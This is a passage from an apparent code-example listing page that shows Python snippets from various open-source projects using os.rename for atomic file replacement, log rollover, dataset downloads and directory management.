        self.assertEqual(os.lstat(filename1),
                             os.lstat(filename2))
        # Copy/rename etc tests using equivalent filename
        self._do_copyish(filename1, filename2)

    # Tests that copy, move, etc one file to another. 
Example 43
Project: pyblish-win   Author: pyblish   File: TreeWidget.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def SetText(self, text):
        newpath = os.path.dirname(self.path)
        newpath = os.path.join(newpath, text)
        if os.path.dirname(newpath) != os.path.dirname(self.path):
            return
        try:
            os.rename(self.path, newpath)
            self.path = newpath
        except os.error:
            pass 
Example 44
Project: epub-highlighter   Author: LordAmit   File: epub_highlighter.py    MIT License 5 votes vote down vote up
def create_epub(extracted_epub_path, original_epub_path):
    original_epub_basename = os.path.split(original_epub_path)[1]
    original_epub_dir = os.path.split(original_epub_path)[0]
    # print(original_epub_dir)
    # print(original_epub_basename)
    new_epub_name = os.path.splitext(original_epub_basename)[
        0] + "_highlighted.epub"
    # print(new_epub_name)
    # print(extracted_epub_path)
    new_epub_path = original_epub_dir + "/" + new_epub_name
    # print(new_epub_path)
    zip_path = distutils.archive_util.make_archive(
        new_epub_name, format='zip', root_dir=extracted_epub_path)
    shutil.move(zip_path, new_epub_path + '.zip')
    os.rename(new_epub_path + '.zip', new_epub_path.replace('zip', '')) 
Example 45
Project: twitter-export-image-fill   Author: mwichary   File: twitter-export-image-fill.py    The Unlicense 5 votes vote down vote up
def resave_data(data, data_filename, first_data_line, year_str, month_str):
  # Writing to a separate file so that we can only copy over the
  # main file when done
  data_filename_temp = 'data/js/tweets/%s_%s.js.tmp' % (year_str, month_str)
  with open(data_filename_temp, 'w') as f:
    f.write(first_data_line)
    json.dump(data, f, indent=2)
  os.remove(data_filename)
  os.rename(data_filename_temp, data_filename)


# Download a given image directly from the URL 
Example 46
Project: gitdl   Author: SanketDG   File: gitdl.py    MIT License 5 votes vote down vote up
def work_them_files(repo_name, branch):  # pragma: no cover
    """
    Extract, rename and delete.
    """
    extractfiles("{}.zip".format(repo_name))
    try:
        os.rename("{}-{}".format(repo_name, branch), "{}".format(repo_name))
    except OSError:
        print("The directory {} already exists!".format(repo_name))
        shutil.rmtree("{}-{}".format(repo_name, branch))
    finally:
        os.unlink("{}.zip".format(repo_name)) 
Example 47
Project: vggmnist   Author: jiapengjp   File: 1_mnist_exp.py    MIT License 5 votes vote down vote up
def create_output_dir(out_dir):
    import os
    import datetime
    timestamp = "{:%Y%m%d_%H%M%S}".format(datetime.datetime.now())
    if os.path.exists(out_dir):
      os.rename(out_dir, "%s_%s"%(out_dir, timestamp))
    os.mkdir(out_dir) 
Example 48
Project: vggmnist   Author: jiapengjp   File: 4_mnist_vgg_single.py    MIT License 5 votes vote down vote up
def create_output_dir(out_dir):
    import os
    import datetime
    timestamp = "{:%Y%m%d_%H%M%S}".format(datetime.datetime.now())
    if os.path.exists(out_dir):
      os.rename(out_dir, "%s_%s"%(out_dir, timestamp))
    os.mkdir(out_dir) 
Example 49
Project: vggmnist   Author: jiapengjp   File: 5_mnist_vgg_full.py    MIT License 5 votes vote down vote up
def create_output_dir(out_dir):
    import os
    import datetime
    timestamp = "{:%Y%m%d_%H%M%S}".format(datetime.datetime.now())
    if os.path.exists(out_dir):
      os.rename(out_dir, "%s_%s"%(out_dir, timestamp))
    os.mkdir(out_dir) 
Example 50
Project: vggmnist   Author: jiapengjp   File: 6_mnist_vgg_full.py    MIT License 5 votes vote down vote up
def create_output_dir(out_dir):
    import os
    import datetime
    timestamp = "{:%Y%m%d_%H%M%S}".format(datetime.datetime.now())
    if os.path.exists(out_dir):
      os.rename(out_dir, "%s_%s"%(out_dir, timestamp))
    os.mkdir(out_dir) 
Example 51
Project: vggmnist   Author: jiapengjp   File: 3_mnist_vgg_single.py    MIT License 5 votes vote down vote up
def create_output_dir(out_dir):
    import os
    import datetime
    timestamp = "{:%Y%m%d_%H%M%S}".format(datetime.datetime.now())
    if os.path.exists(out_dir):
      os.rename(out_dir, "%s_%s"%(out_dir, timestamp))
    os.mkdir(out_dir) 
Example 52
Project: uci-download-process   Author: cperales   File: download_data.py    MIT License 5 votes vote down vote up
def download_files(config_folder,
                   raw_data_folder,
                   log_file):
    dataset_folders = list()
    list_files = list()

    with open(log_file, 'w') as f:
        for folder in os.listdir(config_folder):
            complete_folder = os.path.join(config_folder, folder)
            if os.path.isdir(complete_folder):  # It could be a .csv
                dataset_folders.append(folder)
                config_file = os.path.join(complete_folder, 'config.ini')
                list_files.append(config_file)
                config = configparser.ConfigParser()
                config.read(config_file)
                try:
                    data_url = config['info']['data_url']
                    data_download = os.path.split(config['info']['data_url'])[-1]
                    data_name = config['info']['name']
                    f.write(''.join([data_url, '\n']))
                    final_filename = os.path.join(complete_folder, data_download)
                    # Download file
                    bash_command = ['wget', '-nc', data_url, '-O', final_filename]
                    subprocess.run(bash_command)
                    # Extract data if necessary
                    if '.tar.gz' in data_download:
                        extract_tar(complete_folder=complete_folder,
                                    tar_file=data_download,
                                    data_name=data_name)
                    elif data_name != data_download:
                        os.rename(final_filename,
                                  os.path.join(complete_folder, data_name))
                    # Copy file to raw data folder
                    final_filename_2 = os.path.join(raw_data_folder, data_name)
                    shutil.copyfile(final_filename, final_filename_2)
                except Exception as e:
                    print(e) 
Example 53
Project: mlimages   Author: icoxfog417   File: chainer_alex.py    MIT License 5 votes vote down vote up
def download_imagenet(wnid, limit=-1):
    api = ImagenetAPI(data_root=DATA_DIR, limit=limit, debug=True)
    api.logger.info("start to gather the ImageNet images.")
    folders = api.gather(wnid, include_subset=True)

    # rename images root folder
    images_root = os.path.join(DATA_DIR, folders[0])
    os.rename(images_root, IMAGES_ROOT)
    print("Down load has done.") 
Example 54
Project: nmp_qc   Author: priba   File: download.py    MIT License 5 votes vote down vote up
def download_figshare(file_name, file_ext, dir_path='./', change_name = None):
    prepare_data_dir(dir_path)
    url = 'https://ndownloader.figshare.com/files/' + file_name
    wget.download(url, out=dir_path)
    file_path = os.path.join(dir_path, file_name)

    if file_ext == '.zip':
        zip_ref = zipfile.ZipFile(file_path,'r')
        if change_name is not None:
            dir_path = os.path.join(dir_path, change_name)
        zip_ref.extractall(dir_path)
        zip_ref.close()
        os.remove(file_path)
    elif file_ext == '.tar.bz2':
        tar_ref = tarfile.open(file_path,'r:bz2')
        if change_name is not None:
            dir_path = os.path.join(dir_path, change_name)
        tar_ref.extractall(dir_path)
        tar_ref.close()
        os.remove(file_path)
    elif change_name is not None:
        os.rename(file_path, os.path.join(dir_path, change_name))

# Download QM9 dataset 
Example 55
Project: Ansible-Example-AB2018   Author: umit-ozturk   File: recompiler.py    MIT License 5 votes vote down vote up
def _make_c_or_py_source(ffi, module_name, preamble, target_file, verbose):
    if verbose:
        print("generating %s" % (target_file,))
    recompiler = Recompiler(ffi, module_name,
                            target_is_python=(preamble is None))
    recompiler.collect_type_table()
    recompiler.collect_step_tables()
    f = NativeIO()
    recompiler.write_source_to_f(f, preamble)
    output = f.getvalue()
    try:
        with open(target_file, 'r') as f1:
            if f1.read(len(output) + 1) != output:
                raise IOError
        if verbose:
            print("(already up-to-date)")
        return False     # already up-to-date
    except IOError:
        tmp_file = '%s.~%d' % (target_file, os.getpid())
        with open(tmp_file, 'w') as f1:
            f1.write(output)
        try:
            os.rename(tmp_file, target_file)
        except OSError:
            os.unlink(target_file)
            os.rename(tmp_file, target_file)
        return True 
Example 56
Project: Ansible-Example-AB2018   Author: umit-ozturk   File: shutil.py    MIT License 5 votes vote down vote up
def move(src, dst):
    """Recursively move a file or directory to another location. This is
    similar to the Unix "mv" command.

    If the destination is a directory or a symlink to a directory, the source
    is moved inside the directory. The destination path must not already
    exist.

    If the destination already exists but is not a directory, it may be
    overwritten depending on os.rename() semantics.

    If the destination is on our current filesystem, then rename() is used.
    Otherwise, src is copied to the destination and then removed.
    A lot more could be done here...  A look at a mv.c shows a lot of
    the issues this implementation glosses over.

    """
    real_dst = dst
    if os.path.isdir(dst):
        if _samefile(src, dst):
            # We might be on a case insensitive filesystem,
            # perform the rename anyway.
            os.rename(src, dst)
            return

        real_dst = os.path.join(dst, _basename(src))
        if os.path.exists(real_dst):
            raise Error("Destination path '%s' already exists" % real_dst)
    try:
        os.rename(src, real_dst)
    except OSError:
        if os.path.isdir(src):
            if _destinsrc(src, dst):
                raise Error("Cannot move a directory '%s' into itself '%s'." % (src, dst))
            copytree(src, real_dst, symlinks=True)
            rmtree(src)
        else:
            copy2(src, real_dst)
            os.unlink(src) 
Example 57
Project: Ansible-Example-AB2018   Author: umit-ozturk   File: timezone.py    MIT License 5 votes vote down vote up
def set(self, key, value):
        if key == 'name':
            # First determine if the requested timezone is valid by looking in
            # the zoneinfo directory.
            zonefile = '/usr/share/zoneinfo/' + value
            try:
                if not os.path.isfile(zonefile):
                    self.module.fail_json(msg='%s is not a recognized timezone' % value)
            except:
                self.module.fail_json(msg='Failed to stat %s' % zonefile)

            # Now (somewhat) atomically update the symlink by creating a new
            # symlink and move it into place. Otherwise we have to remove the
            # original symlink and create the new symlink, however that would
            # create a race condition in case another process tries to read
            # /etc/localtime between removal and creation.
            suffix = "".join([random.choice(string.ascii_letters + string.digits) for x in range(0, 10)])
            new_localtime = '/etc/localtime.' + suffix

            try:
                os.symlink(zonefile, new_localtime)
                os.rename(new_localtime, '/etc/localtime')
            except:
                os.remove(new_localtime)
                self.module.fail_json(msg='Could not update /etc/localtime')
        else:
            self.module.fail_json(msg='%s is not a supported option on target platform' % key) 
Example 58
Project: espa-python-library   Author: USGS-EROS   File: xml_interface.py    The Unlicense 5 votes vote down vote up
def write(self, xml_filename=None):
        """Writes the XML to a file

        The XML is validated before being written to the file.  A temp file is
        utilized so that the original XML document is not lost should any
        errors occur.

        Args:
            xml_filename: The name of the file to create.  If not provided,
                the original source filename is used.

        Raises:
            XMLError: An error occurred using the lxml module.
        """

        # First validate the lxml objectify object
        self.validate()

        # Figure out the filename to use
        name = self.xml_filename
        if xml_filename is not None:
            name = xml_filename

        try:
            # Create and populate a temporary file
            temp_name = 'temp_ESPA_XML_{0}'.format(name)
            with open(temp_name, 'w') as xml_fd:
                xml_fd.write('<?xml version="1.0" encoding="utf-8"?>\n')
                xml_fd.write(etree.tostring(self.xml_object, encoding='utf-8',
                                            pretty_print=True))

            # Rename/Overwrite the output XML file with the temporary one
            os.rename(temp_name, name)

        except etree.LxmlError:
            self.logger.exception('LXML Error')
            raise XMLError('Write Error - See LXML Error') 
Example 59
Project: pnp   Author: HazardDede   File: test_fs_watcher.py    MIT License 5 votes vote down vote up
def _move(tmpdir, filename, newname):
    # print(datetime.now(), "Moved")
    os.rename(os.path.join(tmpdir, filename), os.path.join(tmpdir, newname)) 
Example 60
Project: scriptfs   Author: iffy   File: scriptfs.py    Apache License 2.0 5 votes vote down vote up
def rename(self, old, new):
        return os.rename(old, self.root + new) 
Example 61
Project: scriptfs   Author: iffy   File: scriptfs.py    Apache License 2.0 5 votes vote down vote up
def rename(self, old, new):
        raise FuseOSError(errno.EACCES) 
Example 62
Project: flasky   Author: RoseOu   File: shutil.py    MIT License 5 votes vote down vote up
def move(src, dst):
    """Recursively move a file or directory to another location. This is
    similar to the Unix "mv" command.

    If the destination is a directory or a symlink to a directory, the source
    is moved inside the directory. The destination path must not already
    exist.

    If the destination already exists but is not a directory, it may be
    overwritten depending on os.rename() semantics.

    If the destination is on our current filesystem, then rename() is used.
    Otherwise, src is copied to the destination and then removed.
    A lot more could be done here...  A look at a mv.c shows a lot of
    the issues this implementation glosses over.

    """
    real_dst = dst
    if os.path.isdir(dst):
        if _samefile(src, dst):
            # We might be on a case insensitive filesystem,
            # perform the rename anyway.
            os.rename(src, dst)
            return

        real_dst = os.path.join(dst, _basename(src))
        if os.path.exists(real_dst):
            raise Error("Destination path '%s' already exists" % real_dst)
    try:
        os.rename(src, real_dst)
    except OSError:
        if os.path.isdir(src):
            if _destinsrc(src, dst):
                raise Error("Cannot move a directory '%s' into itself '%s'." % (src, dst))
            copytree(src, real_dst, symlinks=True)
            rmtree(src)
        else:
            copy2(src, real_dst)
            os.unlink(src) 
Example 63
Project: core   Author: lifemapper   File: boomer.py    GNU General Public License v3.0 5 votes vote down vote up
def restartWalken(self):
        if self.christopher.complete() and self.christopher.moreDataToProcess():
            # Rename old file
            oldfname = self.christopher.weaponOfChoice.occParser.dataFname
            ts = dt.localtime().tuple()
            timestamp = '{}{:02d}{:02d}-{:02d}{:02d}'.format(ts[0], ts[1], ts[2], ts[3], ts[4])
            newfname = oldfname + '.' + timestamp
            try:
                os.rename(oldfname, newfname)
            except Exception, e:
                self.log.error('Failed to rename {} to {}'.format(oldfname, newfname))
            # Restart with next file
            self.initializeMe()

    # ............................................... 
Example 64
Project: treelstm.pytorch   Author: dasguptar   File: download.py    MIT License 5 votes vote down vote up
def download_tagger(dirpath):
    tagger_dir = 'stanford-tagger'
    if os.path.exists(os.path.join(dirpath, tagger_dir)):
        print('Found Stanford POS Tagger - skip')
        return
    url = 'http://nlp.stanford.edu/software/stanford-postagger-2015-01-29.zip'
    filepath = download(url, dirpath)
    zip_dir = ''
    with zipfile.ZipFile(filepath) as zf:
        zip_dir = zf.namelist()[0]
        zf.extractall(dirpath)
    os.remove(filepath)
    os.rename(os.path.join(dirpath, zip_dir), os.path.join(dirpath, tagger_dir)) 
Example 65
Project: treelstm.pytorch   Author: dasguptar   File: download.py    MIT License 5 votes vote down vote up
def download_parser(dirpath):
    parser_dir = 'stanford-parser'
    if os.path.exists(os.path.join(dirpath, parser_dir)):
        print('Found Stanford Parser - skip')
        return
    url = 'http://nlp.stanford.edu/software/stanford-parser-full-2015-01-29.zip'
    filepath = download(url, dirpath)
    zip_dir = ''
    with zipfile.ZipFile(filepath) as zf:
        zip_dir = zf.namelist()[0]
        zf.extractall(dirpath)
    os.remove(filepath)
    os.rename(os.path.join(dirpath, zip_dir), os.path.join(dirpath, parser_dir)) 
Example 66
Project: dynamic-training-with-apache-mxnet-on-aws   Author: awslabs   File: download.py    Apache License 2.0 5 votes vote down vote up
def download_tagger(dirpath):
    tagger_dir = 'stanford-tagger'
    if os.path.exists(os.path.join(dirpath, tagger_dir)):
        print('Found Stanford POS Tagger - skip')
        return
    url = 'http://nlp.stanford.edu/software/stanford-postagger-2015-01-29.zip'
    filepath = download(url, dirname=dirpath)
    zip_dir = ''
    with zipfile.ZipFile(filepath) as zf:
        zip_dir = zf.namelist()[0]
        zf.extractall(dirpath)
    os.remove(filepath)
    os.rename(os.path.join(dirpath, zip_dir), os.path.join(dirpath, tagger_dir)) 
Example 67
Project: dynamic-training-with-apache-mxnet-on-aws   Author: awslabs   File: download.py    Apache License 2.0 5 votes vote down vote up
def download_parser(dirpath):
    parser_dir = 'stanford-parser'
    if os.path.exists(os.path.join(dirpath, parser_dir)):
        print('Found Stanford Parser - skip')
        return
    url = 'http://nlp.stanford.edu/software/stanford-parser-full-2015-01-29.zip'
    filepath = download(url, dirname=dirpath)
    zip_dir = ''
    with zipfile.ZipFile(filepath) as zf:
        zip_dir = zf.namelist()[0]
        zf.extractall(dirpath)
    os.remove(filepath)
    os.rename(os.path.join(dirpath, zip_dir), os.path.join(dirpath, parser_dir)) 
Example 68
Project: dynamic-training-with-apache-mxnet-on-aws   Author: awslabs   File: utils.py    Apache License 2.0 5 votes vote down vote up
def _replace_atomic(src, dst):
        """Implement atomic os.replace with linux and OSX. Internal use only"""
        try:
            os.rename(src, dst)
        except OSError:
            try:
                os.remove(src)
            except OSError:
                pass
            finally:
                raise OSError(
                    'Moving downloaded temp file - {}, to {} failed. \
                    Please retry the download.'.format(src, dst)) 
Example 69
Project: myhoard   Author: aiven   File: util.py    Apache License 2.0 5 votes vote down vote up
def atomic_create_file(file_path, *, binary=False, perm=None, uidgid=None, inherit_owner_from_parent=False):
    """Open a temporary file for writing, rename to final name when done"""
    mode = "wb" if binary else "w"
    # if perm or uidgid is not given, copy it/them from existing file if file exists
    if perm is None or uidgid is None:
        try:
            st = os.stat(file_path)
        except FileNotFoundError:
            st = None
            if inherit_owner_from_parent and uidgid is None:
                parent_st = os.stat(os.path.dirname(file_path))
                uidgid = (parent_st.st_uid, parent_st.st_gid)

        if perm is None:
            perm = st.st_mode if st else 0o600
        if uidgid is None and st is not None:
            uidgid = (st.st_uid, st.st_gid)

    fd, tmp_file_path = tempfile.mkstemp(prefix=os.path.basename(file_path), dir=os.path.dirname(file_path), suffix=".tmp")
    try:
        tmp_st = os.stat(fd)
        if perm != tmp_st.st_mode:
            os.fchmod(fd, perm)

        if uidgid and uidgid != (tmp_st.st_uid, tmp_st.st_gid):
            os.fchown(fd, uidgid[0], uidgid[1])

        with os.fdopen(fd, mode) as out_file:
            yield out_file

        os.rename(tmp_file_path, file_path)
    except Exception:  # pytest: disable=broad-except
        with contextlib.suppress(Exception):
            os.unlink(tmp_file_path)
        raise 
Example 70
Project: fs_image   Author: facebookincubator   File: subvol_utils.py    MIT License 4 votes vote down vote up
def path(
        self, path_in_subvol: AnyStr=b'.', *, no_dereference_leaf=False,
    ) -> Path:
        '''
        The only safe way to access paths inside the subvolume.  Do NOT
        `os.path.join(subvol.path('a/path'), 'more/path')`, since that skips
        crucial safety checks.  Instead: `subvol.path(os.path.join(...))`.

        This code has checks to mitigate two risks:
          - `path_in_subvol` is relative, and exits the subvolume via '..'
          - Some component of the path is a symlink, and this symlink, when
            interpreted by a non-chrooted tool, will attempt to access
            something outside of the subvolume.

        At present, the above check fail on attempting to traverse an
        in-subvolume symlink that is an absolute path to another directory
        within the subvolume, but support could easily be added.  It is not
        supported now because at present, I believe that the right idiom is
        to encourage image authors to manipulate the "real" locations of
        files, and not to manipulate paths through symlinks.

        In the rare case that you need to manipulate a symlink itself (e.g.
        remove or rename), you will want to pass `no_dereference_leaf`.

        Future: consider using a file descriptor to refer to the subvolume
        root directory to better mitigate races due to renames in its path.
        '''
        # The `btrfs` CLI is not very flexible, so it will try to name a
        # subvol '.' if we do not normalize `/subvol/.`.
        result_path = os.path.normpath(os.path.join(
            self._path,
            # Without the lstrip, we would lose the subvolume prefix if the
            # supplied path is absolute.
            byteme(path_in_subvol).lstrip(b'/'),
        ))
        # Paranoia: Make sure that, despite any symlinks in the path, the
        # resulting path is not outside of the subvolume root.
        #
        # NB: This will prevent us from even accessing symlinks created
        # inside the subvolume.  To fix this, we should add an OPTION not to
        # follow the LAST component of the path.
        root_relative = os.path.relpath((
            os.path.join(
                os.path.realpath(os.path.dirname(result_path)),
                os.path.basename(result_path),
            ) if no_dereference_leaf else os.path.realpath(result_path)
        ), os.path.realpath(self._path))
        if root_relative.startswith(b'../') or root_relative == b'..':
            raise AssertionError(f'{path_in_subvol} is outside the subvol')
        return Path(result_path)

    # This differs from the regular `subprocess.Popen` interface in these ways:
    #   - stdout maps to stderr by default (to protect the caller's stdout),
    #   - `check` is supported, and default to `True`,
    #   - `cwd` is prohibited.
    #
    # `_subvol_exists` is a private kwarg letting us `run_as_root` to create
    # new subvolumes, and not just touch existing ones. 
Example 71
Project: alfred-yubikey-otp   Author: robertoriv   File: background.py    MIT License 4 votes vote down vote up
def _background(pidfile, stdin='/dev/null', stdout='/dev/null',
                stderr='/dev/null'):  # pragma: no cover
    """Fork the current process into a background daemon.

    :param pidfile: file to write PID of daemon process to.
    :type pidfile: filepath
    :param stdin: where to read input
    :type stdin: filepath
    :param stdout: where to write stdout output
    :type stdout: filepath
    :param stderr: where to write stderr output
    :type stderr: filepath

    """
    def _fork_and_exit_parent(errmsg, wait=False, write=False):
        try:
            pid = os.fork()
            if pid > 0:
                if write:  # write PID of child process to `pidfile`
                    tmp = pidfile + '.tmp'
                    with open(tmp, 'wb') as fp:
                        fp.write(str(pid))
                    os.rename(tmp, pidfile)
                if wait:  # wait for child process to exit
                    os.waitpid(pid, 0)
                os._exit(0)
        except OSError as err:
            _log().critical('%s: (%d) %s', errmsg, err.errno, err.strerror)
            raise err

    # Do first fork and wait for second fork to finish.
    _fork_and_exit_parent('fork #1 failed', wait=True)

    # Decouple from parent environment.
    os.chdir(wf().workflowdir)
    os.setsid()

    # Do second fork and write PID to pidfile.
    _fork_and_exit_parent('fork #2 failed', write=True)

    # Now I am a daemon!
    # Redirect standard file descriptors.
    si = open(stdin, 'r', 0)
    so = open(stdout, 'a+', 0)
    se = open(stderr, 'a+', 0)
    if hasattr(sys.stdin, 'fileno'):
        os.dup2(si.fileno(), sys.stdin.fileno())
    if hasattr(sys.stdout, 'fileno'):
        os.dup2(so.fileno(), sys.stdout.fileno())
    if hasattr(sys.stderr, 'fileno'):
        os.dup2(se.fileno(), sys.stderr.fileno()) 
Example 72
Project: pyblish-win   Author: pyblish   File: fileinput.py    GNU Lesser General Public License v3.0 4 votes vote down vote up
def readline(self):
        try:
            line = self._buffer[self._bufindex]
        except IndexError:
            pass
        else:
            self._bufindex += 1
            self._lineno += 1
            self._filelineno += 1
            return line
        if not self._file:
            if not self._files:
                return ""
            self._filename = self._files[0]
            self._files = self._files[1:]
            self._filelineno = 0
            self._file = None
            self._isstdin = False
            self._backupfilename = 0
            if self._filename == '-':
                self._filename = '<stdin>'
                self._file = sys.stdin
                self._isstdin = True
            else:
                if self._inplace:
                    self._backupfilename = (
                        self._filename + (self._backup or os.extsep+"bak"))
                    try: os.unlink(self._backupfilename)
                    except os.error: pass
                    # The next few lines may raise IOError
                    os.rename(self._filename, self._backupfilename)
                    self._file = open(self._backupfilename, self._mode)
                    try:
                        perm = os.fstat(self._file.fileno()).st_mode
                    except OSError:
                        self._output = open(self._filename, "w")
                    else:
                        fd = os.open(self._filename,
                                     os.O_CREAT | os.O_WRONLY | os.O_TRUNC,
                                     perm)
                        self._output = os.fdopen(fd, "w")
                        try:
                            if hasattr(os, 'chmod'):
                                os.chmod(self._filename, perm)
                        except OSError:
                            pass
                    self._savestdout = sys.stdout
                    sys.stdout = self._output
                else:
                    # This may raise IOError
                    if self._openhook:
                        self._file = self._openhook(self._filename, self._mode)
                    else:
                        self._file = open(self._filename, self._mode)
        self._buffer = self._file.readlines(self._bufsize)
        self._bufindex = 0
        if not self._buffer:
            self.nextfile()
        # Recursive call
        return self.readline() 
Example 73
Project: pyblish-win   Author: pyblish   File: handlers.py    GNU Lesser General Public License v3.0 4 votes vote down vote up
def doRollover(self):
        """
        do a rollover; in this case, a date/time stamp is appended to the filename
        when the rollover happens.  However, you want the file to be named for the
        start of the interval, not the current time.  If there is a backup count,
        then we have to get a list of matching filenames, sort them and remove
        the one with the oldest suffix.
        """
        if self.stream:
            self.stream.close()
            self.stream = None
        # get the time that this sequence started at and make it a TimeTuple
        currentTime = int(time.time())
        dstNow = time.localtime(currentTime)[-1]
        t = self.rolloverAt - self.interval
        if self.utc:
            timeTuple = time.gmtime(t)
        else:
            timeTuple = time.localtime(t)
            dstThen = timeTuple[-1]
            if dstNow != dstThen:
                if dstNow:
                    addend = 3600
                else:
                    addend = -3600
                timeTuple = time.localtime(t + addend)
        dfn = self.baseFilename + "." + time.strftime(self.suffix, timeTuple)
        if os.path.exists(dfn):
            os.remove(dfn)
        # Issue 18940: A file may not have been created if delay is True.
        if os.path.exists(self.baseFilename):
            os.rename(self.baseFilename, dfn)
        if self.backupCount > 0:
            for s in self.getFilesToDelete():
                os.remove(s)
        if not self.delay:
            self.stream = self._open()
        newRolloverAt = self.computeRollover(currentTime)
        while newRolloverAt <= currentTime:
            newRolloverAt = newRolloverAt + self.interval
        #If DST changes and midnight or weekly rollover, adjust for this.
        if (self.when == 'MIDNIGHT' or self.when.startswith('W')) and not self.utc:
            dstAtRollover = time.localtime(newRolloverAt)[-1]
            if dstNow != dstAtRollover:
                if not dstNow:  # DST kicks in before next rollover, so we need to deduct an hour
                    addend = -3600
                else:           # DST bows out before next rollover, so we need to add an hour
                    addend = 3600
                newRolloverAt += addend
        self.rolloverAt = newRolloverAt 
Example 74
Project: pyblish-win   Author: pyblish   File: file_util.py    GNU Lesser General Public License v3.0 4 votes vote down vote up
def move_file (src, dst, verbose=1, dry_run=0):
    """Move a file 'src' to 'dst'.

    If 'dst' is a directory, the file will be moved into it with the same
    name; otherwise, 'src' is just renamed to 'dst'.  Return the new
    full name of the file.

    Handles cross-device moves on Unix using 'copy_file()'.  What about
    other systems???
    """
    from os.path import exists, isfile, isdir, basename, dirname
    import errno

    if verbose >= 1:
        log.info("moving %s -> %s", src, dst)

    if dry_run:
        return dst

    if not isfile(src):
        raise DistutilsFileError("can't move '%s': not a regular file" % src)

    if isdir(dst):
        dst = os.path.join(dst, basename(src))
    elif exists(dst):
        raise DistutilsFileError(
              "can't move '%s': destination '%s' already exists" %
              (src, dst))

    if not isdir(dirname(dst)):
        raise DistutilsFileError(
              "can't move '%s': destination '%s' not a valid path" % \
              (src, dst))

    copy_it = 0
    try:
        os.rename(src, dst)
    except os.error, (num, msg):
        if num == errno.EXDEV:
            copy_it = 1
        else:
            raise DistutilsFileError(
                  "couldn't move '%s' to '%s': %s" % (src, dst, msg)) 
Example 75
Project: pyblish-win   Author: pyblish   File: mailbox.py    GNU Lesser General Public License v3.0 4 votes vote down vote up
def flush(self):
        """Write any pending changes to disk."""
        if not self._pending:
            if self._pending_sync:
                # Messages have only been added, so syncing the file
                # is enough.
                _sync_flush(self._file)
                self._pending_sync = False
            return

        # In order to be writing anything out at all, self._toc must
        # already have been generated (and presumably has been modified
        # by adding or deleting an item).
        assert self._toc is not None

        # Check length of self._file; if it's changed, some other process
        # has modified the mailbox since we scanned it.
        self._file.seek(0, 2)
        cur_len = self._file.tell()
        if cur_len != self._file_length:
            raise ExternalClashError('Size of mailbox file changed '
                                     '(expected %i, found %i)' %
                                     (self._file_length, cur_len))

        new_file = _create_temporary(self._path)
        try:
            new_toc = {}
            self._pre_mailbox_hook(new_file)
            for key in sorted(self._toc.keys()):
                start, stop = self._toc[key]
                self._file.seek(start)
                self._pre_message_hook(new_file)
                new_start = new_file.tell()
                while True:
                    buffer = self._file.read(min(4096,
                                                 stop - self._file.tell()))
                    if buffer == '':
                        break
                    new_file.write(buffer)
                new_toc[key] = (new_start, new_file.tell())
                self._post_message_hook(new_file)
            self._file_length = new_file.tell()
        except:
            new_file.close()
            os.remove(new_file.name)
            raise
        _sync_close(new_file)
        # self._file is about to get replaced, so no need to sync.
        self._file.close()
        # Make sure the new file's mode is the same as the old file's
        mode = os.stat(self._path).st_mode
        os.chmod(new_file.name, mode)
        try:
            os.rename(new_file.name, self._path)
        except OSError, e:
            if e.errno == errno.EEXIST or \
              (os.name == 'os2' and e.errno == errno.EACCES):
                os.remove(self._path)
                os.rename(new_file.name, self._path)
            else:
                raise 
Example 76
Project: wechat-alfred-workflow   Author: TKkk-iOSer   File: background.py    MIT License 4 votes vote down vote up
def _background(pidfile, stdin='/dev/null', stdout='/dev/null',
                stderr='/dev/null'):  # pragma: no cover
    """Fork the current process into a background daemon.

    :param pidfile: file to write PID of daemon process to.
    :type pidfile: filepath
    :param stdin: where to read input
    :type stdin: filepath
    :param stdout: where to write stdout output
    :type stdout: filepath
    :param stderr: where to write stderr output
    :type stderr: filepath

    """
    def _fork_and_exit_parent(errmsg, wait=False, write=False):
        try:
            pid = os.fork()
            if pid > 0:
                if write:  # write PID of child process to `pidfile`
                    tmp = pidfile + '.tmp'
                    with open(tmp, 'wb') as fp:
                        fp.write(str(pid))
                    os.rename(tmp, pidfile)
                if wait:  # wait for child process to exit
                    os.waitpid(pid, 0)
                os._exit(0)
        except OSError as err:
            _log().critical('%s: (%d) %s', errmsg, err.errno, err.strerror)
            raise err

    # Do first fork and wait for second fork to finish.
    _fork_and_exit_parent('fork #1 failed', wait=True)

    # Decouple from parent environment.
    os.chdir(wf().workflowdir)
    os.setsid()

    # Do second fork and write PID to pidfile.
    _fork_and_exit_parent('fork #2 failed', write=True)

    # Now I am a daemon!
    # Redirect standard file descriptors.
    si = open(stdin, 'r', 0)
    so = open(stdout, 'a+', 0)
    se = open(stderr, 'a+', 0)
    if hasattr(sys.stdin, 'fileno'):
        os.dup2(si.fileno(), sys.stdin.fileno())
    if hasattr(sys.stdout, 'fileno'):
        os.dup2(so.fileno(), sys.stdout.fileno())
    if hasattr(sys.stderr, 'fileno'):
        os.dup2(se.fileno(), sys.stderr.fileno()) 
Example 77
Project: Ansible-Example-AB2018   Author: umit-ozturk   File: scripts.py    MIT License 4 votes vote down vote up
def _write_script(self, names, shebang, script_bytes, filenames, ext):
        use_launcher = self.add_launchers and self._is_nt
        linesep = os.linesep.encode('utf-8')
        if not use_launcher:
            script_bytes = shebang + linesep + script_bytes
        else:  # pragma: no cover
            if ext == 'py':
                launcher = self._get_launcher('t')
            else:
                launcher = self._get_launcher('w')
            stream = BytesIO()
            with ZipFile(stream, 'w') as zf:
                zf.writestr('__main__.py', script_bytes)
            zip_data = stream.getvalue()
            script_bytes = launcher + shebang + linesep + zip_data
        for name in names:
            outname = os.path.join(self.target_dir, name)
            if use_launcher:  # pragma: no cover
                n, e = os.path.splitext(outname)
                if e.startswith('.py'):
                    outname = n
                outname = '%s.exe' % outname
                try:
                    self._fileop.write_binary_file(outname, script_bytes)
                except Exception:
                    # Failed writing an executable - it might be in use.
                    logger.warning('Failed to write executable - trying to '
                                   'use .deleteme logic')
                    dfname = '%s.deleteme' % outname
                    if os.path.exists(dfname):
                        os.remove(dfname)       # Not allowed to fail here
                    os.rename(outname, dfname)  # nor here
                    self._fileop.write_binary_file(outname, script_bytes)
                    logger.debug('Able to replace executable using '
                                 '.deleteme logic')
                    try:
                        os.remove(dfname)
                    except Exception:
                        pass    # still in use - ignore error
            else:
                if self._is_nt and not outname.endswith('.' + ext):  # pragma: no cover
                    outname = '%s.%s' % (outname, ext)
                if os.path.exists(outname) and not self.clobber:
                    logger.warning('Skipping existing file %s', outname)
                    continue
                self._fileop.write_binary_file(outname, script_bytes)
                if self.set_mode:
